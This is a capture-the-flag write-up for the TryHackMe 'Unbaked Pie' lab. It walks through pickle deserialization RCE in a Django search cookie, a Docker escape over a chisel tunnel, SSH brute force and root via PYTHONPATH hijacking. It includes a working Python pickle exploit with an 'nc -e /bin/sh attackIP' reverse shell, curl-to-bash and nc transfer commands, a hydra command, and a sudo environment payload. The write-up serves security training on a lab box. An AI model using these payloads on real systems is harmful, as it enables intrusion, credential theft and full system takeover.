Unbaked Pie (THM)

TryHackMe Unbaked Pie Write-Up

topics: web application attacks, OWASP (sensitive code exposed), python pickle deserialization, escaping docker environments, SSH tunneling, privilege escalation via python libraries and sudo environment variables

  1. Enumeration

  2. Local Privilege Escalation

  3. Root Privilege Escalation

new tools: chisel

Enumeration

initial autorecon and nmap scans

nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /root/pie/results/10.10.83.38/scans/_full_tcp_nmap.txt -oX /root/pie/results/10.10.83.38/scans/xml/_full_tcp_nmap.xml 10.10.83.38

There is only one port open on this machine, 5003 associated with a service called FileMaker; "Hosting databases for FileMaker Pro and FileMaker Go clients."

We see the server is running WSGIServer 0.2 and CPython 3.8.6. We can also see the Set-Cookie header returned some interesting information, a cookie named csrftoken. We know that this box will involve pickling and the Django web framework.

Lets begin by going to the website.

We can see usernames ramsey and a few others. Throughout the site, various foods allude to pickling as well as the room hint, there is a strong indication that we'll have to leverage Python pickle deserialization.

Pickle deserialization converts a Python object into a stream of bytes and then reconstructs it (including the object’s internal structure) later in a different process or environment by loading that stream of bytes. These byte-streams contain opcodes that are then one-by-one executed when the pickle is loaded back.

Pickle deserialization is not secure, Python utilizes the __reduce__ function to enable remote code execution. We need to create a class that implements __reduce__ and then serialize an instance of that class.

We need to find a way to leverage the pickle deserialization vulnerability and establish an initial foothold. Some enumeration techniques I employed on this machine were attempting default creds for login bypass and sending random data to the search bar.

If we hover over the signup icon we see a directory for /accounts which leads us to:

This page provides extremely sensitive information for this website. Platforms, versions, specific files and commands used. The most important value here is search_cookie as we find that it's implemented in pickle deserialization.

The name itself is hint where to look, the /search page which at first displays a document expired page when attempting to view the source code.

This is unusual for source code to display however, reloading the page gives us the information we need for an initial foothold.

The source code for search bar reveals very compromising information and tells us everything we need to know.

encoded_cookie = base64.b64encode(pickle.dumps(query)) #dumps pickle
encoded_cookie = encoded_cookie.decode("utf-8")
    if query:   
        results = Article.objects.filter(Q(title__icontains=query)|Q(body__icontains=query))
    else:
        results = Article.objects.all()
context = {
    'results':results, …
}
html = render(request, 'homepage/search.html', context)
html.set_cookie('search_cookie', encoded_cookie)
return html

The website implements an encoded_cookie that loads on the search page for every GET request (query). The vulnerability is that this cookie is deserialized using the pickle module and is open to remote code execution if a GET request with a pickled cookie is sent to the /search page.

Local Privilege Escalation

We know from the /search source code that this website accepts pickled cookies from any GET request.

Initial Access

The above article contained PoC code to build from. I simply

  • added a command line argument for the reverse shell

  • included a UTF-8 decode method to align with encoded_cookie

  • sent a GET request to /search using the pickled reverse shell cookie.

#!/usr/bin/python
#usage: python3 pick.py http://$ip:5003 "nc -e /bin/sh attackIP 53"
import pickle, base64, os, requests, sys

class RCE:
	def __reduce__(self):
		cmd = sys.argv[2]
		return os.system, (cmd,)

if __name__ == '__main__':
    pickled = pickle.dumps(RCE())
    cookie = base64.urlsafe_b64encode(pickled).decode('utf-8')

    url = sys.argv[1]
    r = requests.get(f"{url}/search", cookies={"search_cookie":cookie}) 

This got us an initial foothold.

While we have an initial foothold something is off about this box, we are root on this machine immediately. Navigating to the root directory contained information to build on.

The root directory did not contain many expected files and directories, first indicating this was a docker container. If we inspect .bash_history, we can see the admin used SSH to log into a container (172.17.0.1) as ramsey, check their configuration and remove SSH from the container.

Escaping Docker Environment

To escape from the docker container we need to create an SSH tunnel and obtain the credentials of ramsey to SSH into the machine through the tunnel.

If we peep around the machine we can see in the /home/site directory is a db.sqlite3 file, which is a binary file of the SQL database seemingly used by the website. We can parse the file for password hashes using the strings command

strings /home/site/db.sqlite3 | grep ramsey

I attempted to crack the SHA256 hash with john, trying different formats but each time I received the error that no hash was loaded. Instead we can attempt to brute force with hydra

As we cannot install tools on the docker container, we can use a tool called chisel to establish a SSH tunnel to our machine and brute force the ramsey account

on attacker:

curl https://i.jpillora.com/chisel! | bash
python3 -m http.server
nc -nlvp 9001 < /usr/local/bin/chisel
chisel server -p 4445 --reverse

on victim:

cd ../tmp
nc attackIP 9001 > chisel
chmod +x chisel
./chisel client 10.6.18.145:4445 R:127.0.0.1:4444:172.17.0.1:22

Now we can run hydra and brute force for ramsey's password

hydra -s 4444 -l ramsey -P /root/payloads/rockyou.txt localhost ssh

We now have the credentials ramsey:12345678 to SSH into the machine and escape the docker container.

ssh -p4444 ramsey@127.0.0.1

Root Privilege Escalation

Lets first run sudo -l and transfer LinPEAS if necessary.

We are allowed to run one python script as the user oliver, meaning we have to perform lateral movement before we can root the machine

Lateral Movement

Depending on our file permissions for vuln.py we might be able to manipulate it (move or edit) the file to execute a reverse shell.

We have read/write permissions so we can move this file to another location and rewrite the file contents with a simple python reverse shell.

sudo -u oliver python /home/ramsey/vuln.py

Checking sudo -l with oliver it seems we'll be able to repeat this process and elevate our privileges to root

Notice SETENV, this means we have the ability to set the environment variable and include any directory or script when executing the python program. We can leverage this to load a bash shell as root. Inspecting the contents of /opt/dockerScript.py

The script uses import docker meaning if we create a file docker.py with code to execute the system shell, we can include the environment path thanks to SETENV and obtain root privileges.

echo "import os; os.system('/bin/bash')" >> docker.py
sudo PYTHONPATH=/tmp /usr/bin/python /opt/dockerScript.py

Last updated